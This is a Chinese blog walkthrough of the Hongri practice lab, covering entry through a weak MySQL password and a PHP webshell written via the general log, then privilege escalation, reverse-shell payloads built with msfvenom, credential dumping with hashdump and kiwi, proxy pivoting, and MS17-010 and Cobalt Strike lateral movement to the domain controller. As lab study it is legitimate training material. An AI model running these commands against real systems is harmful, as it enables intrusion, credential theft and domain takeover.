内网域渗透总结(红日靶场一)

阅读: 评论:0

内网域渗透总结(红日靶场一)

内网域渗透总结(红日靶场一)

一、靶场环境搭建

  • 红日靶场:/
  • 靶机通用密码:hongrisec@2019
  • win7
  • win2003
  • win2008

这个搭建靶场的过程是我经过实际操作(踩坑)总结的最简单省事的方式。

首先创建一个仅主机模式的子网作为内网,地址为:192.168.52.0。我这里是直接修改的VMnet1。

192.168.50.0/24 即 VMnet8 当作靶场里的外网。


将 windows2003 和 windows2008 两台主机都设置为自定义VMnet1

win7是边缘主机,对外的公网ip搭建着web服务的同时还连接着内网,因此需要两块网卡。

注意:这两个网卡的顺序最好和我这个一致,不然有可能内网连不通!即内网网卡要排在前面。

最后还有我们的kali攻击机, 网络是在 50 段,即外网段。

网络拓扑图:

二、web渗透

上来先收集一波信息,nmap扫描一下端口

nmap -sV -Pn 192.168.50.133
-sV: 指定让Nmap进行版本侦测
-PN: 跳过Ping扫描阶段

扫描出两个端口80 3306,存在web服务和mysql数据库。

访问80端口,发现是个phpstudy探针,说明网站是phpstudy搭建的。

这个页面泄露了很多信息,服务器版本、php版本、绝对路径、管理员邮箱等。

可以在这里检测mysql是否存在弱口令

测试 root root 发现存在弱口令。因为网站是phpstudy搭建,很可能存在 phpmyadmin 后台,

直接来扫一下目录

确实存在phpmyadmin,还扫到了一个备份文件,打开发现是yxcms的网站源码,应该部署着这个CMS 。

使用弱口令登进去phpmyadmin,查看数据库是否有导入权限,看能否导入木马

SHOW GLOBAL VARIABLES LIKE '%secure%'


没有导入权限,查看是否有开启全局日志

SHOW GLOBAL VARIABLES LIKE '%general%'


全局日志功能关闭,不过可以通过命令开启,并修改日志保存的绝对路径,这里的路径可以在探针页面获得。

SET GLOBAL general_log = ON;# 开启日志
SET GLOBAL general_log_file = 'C:/phpstudy/WWW/test.php';# 设置日志位置为网站目录

接着向日志文件写shell

select '<?php eval ($_POST[s]);?>'

执行这条语句之后,日志会将select后的查询语句记录进日志,从而让日志变成一个一句话木马。

用蚁剑连接

连接成功。

我们再来看下部署的CMS,打开网站

从右下角看到了网站后台的登录地址和默认账号密码,尝试登录

成功登录。在前台模板功能里发现可以直接编辑php文件,尝试写入shell。

随便找一个文件添加一句话

保存后,接下来就要想办法找到这个info.php所在的目录了,先来扫描一下后台

点进去发现这个网站还存在目录遍历漏洞

那就好办了,为了防止疏漏我们直接去看前面扫到的备份文件(如果没有备份文件可以根据网站版本去网上自己下载)

找到了目标文件,尝试连接。

成功连接。来看一下拿到的shell是什么权限

太好了,是管理员权限。

紧接着先把防火墙关了,养成好习惯。

netsh advfirewall set allprofiles state off #win关闭防火墙
1、远程登录

尝试添加一个用户,进行远程登陆

net user qqq qwer@1234 /add # 添加账户密码
net localgroup administrators qqq /add  # 添加为管理员权限
REG ADD HKLMSYSTEMCurrentControlSetControlTerminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f 
# 开启3389端口


用户添加成功,尝试登录

成功登录。(如果防火墙没关会登录失败)

2、上线CS:

启动服务

设置监听:

生成一个EXE后门

通过蚁剑上传并执行


成功上线。执行sleep 0,不然回显会很慢

sleep 0则表示进入交互模式,任何输入的命令都会被立即执行。


shell systeminfo 查看系统信息,看到只打了四个补丁,尝试进行提权


提权成功。

3、上线MSF:

msf生成木马

Linux

msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=< Your IP> LPORT=< Your Port> -f elf > shell.elf

Windows

msfvenom -p windows/meterpreter/reverse_tcp LHOST=< Your IP> LPORT=< Your Port> -f exe > 

PHP

msfvenom -p php/meterpreter_reverse_tcp LHOST=< Your IP> LPORT=< Your Port> -f raw > shell.php

ASP

msfvenom -p windows/meterpreter/reverse_tcp LHOST=< Your IP> LPORT=< Your Port> -f asp > shell.asp

JSP

msfvenom -p java/jsp_shell_reverse_tcp LHOST=< Your IP> LPORT=< Your Port> -f raw > shell.jsp

Python

msfvenom -p cmd/unix/reverse_python LHOST=< Your IP> LPORT=< Your Port> -f raw > shell.py

Bash

msfvenom -p cmd/unix/reverse_bash LHOST=< Your IP> LPORT=< Your Port> -f raw > shell.sh

Perl

msfvenom -p cmd/unix/reverse_perl LHOST=< Your IP> LPORT=< Your Port> -f raw > shell.pl


开启msf监听

use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set lhost 192.168.50.130
set lport 7777
run


通过蚁剑将生成的木马上传并运行。

成功上线。再来尝试提一下权:

因为是administrator用户,所以很容易提权成功。

三、内网信息收集

开始进行内网的信息收集阶段。

获取目标主机的shell,输入chcp 65001可解决乱码问题(或者用蚁剑的终端)。

看一下路由信息

route print     # 打印路由信息


可知内网网段应该是 192.168.52.1/24

关于Windows域: 详细信息

Windows域是计算机网络的一种形式,其中所有用户帐户 ,计算机,打印机和其他安全主体都在位于称为域控制器(DC)的一个或多个中央计算机集群上的中央数据库中注册。 身份验证在域控制器上进行。 在域中使用计算机的每个人都会收到一个唯一的用户帐户,然后可以为该帐户分配对该域内资源的访问权限。 Windows域的概念与工作组的概念形成对比。

首先判断是否在域中,域控制器一般集成了DNS服务,通过 ipconfig /all,即可简单判断。

该域名为god,还可以使用下面这种方式。

net view /domain  #查询当前主机是否加入域,如果加入则列出域名


查看域内信息

net config Workstation #查看计算机名、全名、用户名、系统版本、工作站、域、登录域


接着定位域控:

net time /domain  #同步域控服务器时间


域控的域名即 d ,用 ping 即可反查出域控ip

得到域控制器IP为192.168.52.138

再来看一下域内的其它主机

net view  #查看与该计算机位于同一工作组或域中的所有计算机名


这里的 OWA 就是上面的域控,另一个就是域内的其它主机了。

再来看一下域管理员

net group "domain admins" /domain # 查询域管理员


很幸运,可以看到这里我们获得的 Administration 就是域控OWA的域管理员 。

看一下域里有几个用户

net user /domain  # 查看域用户,只有域管才能执行


得到5个域用户名。

尝试抓取主机本地的密码:

hashdump  #导出本地用户账号密码,该命令的使用需要系统权限。


用户哈希数据的输出格式为:

用户名:SID:LM哈希:NTLM哈希:::

得到了三个本地用户账号,分别为 Administrator、Guest 和 liukaifeng01 。

三个账号的LM哈希aad3b435b51404eeaad3b435b51404ee和NTLM哈希31d6cfe0d16ae931b73c59d7e0c089c0都是空密码。

这是因为当系统为win10或2012R2以上时,默认在内存缓存中禁止保存明文密码,密码字段显示为null,需要修改注册表等用户重新登录后才能成功抓取。

那就尝试抓取域内的账号密码:利用 msf 的 kiwi 模块 详细介绍

load kiwi #加载kiwi模块
help kiwi #查看kiwi模块的使用

注意执行需要system权限。

creds_all         #列举所有凭据
creds_kerberos    #列举域内账号密码


成功得到域账号密码。

目前为止,我们获得的内网信息有:

域名:god
域内有五个用户:Administrator、Guest、liukaifeng01、ligang、krbtgt
域内三台主机:OWA、ROOT-TVI862UBEH(192.168.52.141)、STU1(win7)
域控:OWA(192.168.52.138)
win7内网ip:192.168.52.143

四、横向渗透

为了让 msf 能访问内网的其他主机,即 52 网段的攻击流量都通过已渗透的这台目标主机(Windows7)的meterpreter会话来传递,需要建立socks反向代理。

注:添加路由一定要在挂代理之前,因为代理需要用到路由功能

1、添加路由、挂上Socks4a代理

使用 msf+proxychains 搭建socks4a隧道。

在之前监听到的shell中设置内网路由

run autoroute -s 192.168.52.0/24  # 添加内网的路由
run autoroute -p  # 查看路由


开启代理

backgrounduse auxiliary/server/socks4aset SRVHOST 127.0.0.1(这里因为是本机可以写本地ip)run


然后在 proxychains 的配置文件 /f,添加本机的1080端口:

socks4 127.0.0.1 1080


然后执行命令时,前面加上 proxychains 即可。如:

proxychains ping 192.168.52.141(域成员ip)


访问成功,下面就开始嚯嚯内网的两台主机。

2、域成员渗透

首先看一下域成员的端口开放情况:

全扫时间有点久,这里因为是练习,就只对高危端口进行扫描

proxychains nmap -sV -Pn -p 22,80,135,443,445,3389 192.168.52.141

看到135、445是开放的,并且这台终端为 win_2003,32位系统。

常见端口漏洞:

  • 21-FTP,看是否存在匿名访问
  • 22-SSH,看是否存在弱口令
  • 80-HTTP,常见web漏洞
  • 443-openssl,心脏出血
  • 445-smb,ms17-010、ms08-067
  • 3306-mysql,弱口令
  • 1433-mssql,弱口令
  • 1521-oracle,弱口令
  • 3389-远程连接桌面
  • 6379-redis未授权访问,弱口令
  • 8080-tomcat漏洞

这里开放了445端口,看一下是否存在ms17-010

确实存在漏洞,使用 use exploit/windows/smb/ms17_010_eternalblue 利用,发现只支持打64位系统,不支持32位。

再换一个模块

use auxiliary/admin/smb/ms17_010_commandset COMMAND net userset RHOST 192.168.52.141run


成功执行命令。接着我们来添加一个用户尝试远程登录一下。

还是使用上面的模块,依次执行下面命令

set command net user sss qwer@1234 /add #添加用户
run # 发现用户添加不成功,后来发现是因为有密码设置策略,密码不能太简单。set command net localgroup administrators sss /add #管理员权限
run set command 'REG ADD HKLMSYSTEMCurrentControlSetControlTerminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f' 
#开启3389端口
runset command netsh advfirewall set allprofiles state off #关闭防火墙
run #好像没有防火墙


然后远程登录

proxychains rdesktop 192.168.52.141

这里注意一定要选这个,因为登陆的是本机。

成功进来了!

3、域控渗透

同样的,先扫描一下端口

proxychains nmap -sV -Pn -p 22,80,135,443,445,3389 192.168.52.138


看到其开启了 80 端口,访问网站,发现是IIS初始网站,没有搭建网站,也不存在敏感目录。先不管它,还是先使用 ms17-010 测试一下。

发现也存在漏洞,同样先使用 use exploit/windows/smb/ms17_010_eternalblue 模块利用,但还是利用不了,猜测可能是防火墙的问题,因为这个系统是64位的。

再用上面的老方法 use auxiliary/admin/smb/ms17_010_command 发现可以执行。接着添加用户aaa

尝试远程连接

这里不知道为啥就是登不上,用户确实创建成功了。。。

防火墙已经关掉了,再来试试 ms17_010_eternalblue,然而还是不行。再换种方法,转战CS。

SMB Beacon:

SMB Beacon使用命名管道通过父级Beacon进行通讯,当两个Beacons链接后,子Beacon从父Beacon获取到任务并发送。因为链接的Beacons使用Windows命名管道进行通信,此流量封装在SMB协议中,所以SMB beacon相对隐蔽。SMB beacon不能直接生成可用载荷, 只能使用 psexec 或 Stageless Payload 上线

使用 smb beacon,由一台已经拿到 beacon 的机器,抓取密码后进行smb喷射,得到另一台开放445端口的机器上的administrator账户密码,在目标机器不出网的情况下,可以使用smb beacon使目标主机上线。

使用条件:

  • 具有 Beacon 的主机必须接受 445 端口上的连接。
  • 只能链接由同一个 Cobalt Strike 实例管理的 Beacon。
  • 必须有目标主机的管理员权限或者说是拥有具有管理员权限的凭据。

这三条这里全都满足,先执行 net view 发现一下域内主机

在列表这里出现了域内的这两台主机。

新建一个 Beacon SMB 监听器,名字随便

域管右键选择psexec


点击运行,成功上线域管,这里顺便把域成员也上线了。可以看到 ∞∞ 这个字符 ,这就是派生的SMB Beacon。

🆗,本次的靶场练习到这里就正式完结啦,经过本次打靶学到了很多!

本文发布于:2024-02-01 16:46:12,感谢您对本站的认可!

本文链接:https://www.4u4v.net/it/170677717138037.html

版权声明:本站内容均来自互联网,仅供演示用,请勿用于商业和其他非法用途。如果侵犯了您的权益请与我们联系,我们将在24小时内删除。

标签:靶场   红日   内网
留言与评论(共有 0 条评论)
   
验证码:

Copyright ©2019-2022 Comsenz Inc.Powered by ©

网站地图1 网站地图2 网站地图3 网站地图4 网站地图5 网站地图6 网站地图7 网站地图8 网站地图9 网站地图10 网站地图11 网站地图12 网站地图13 网站地图14 网站地图15 网站地图16 网站地图17 网站地图18 网站地图19 网站地图20 网站地图21 网站地图22/a> 网站地图23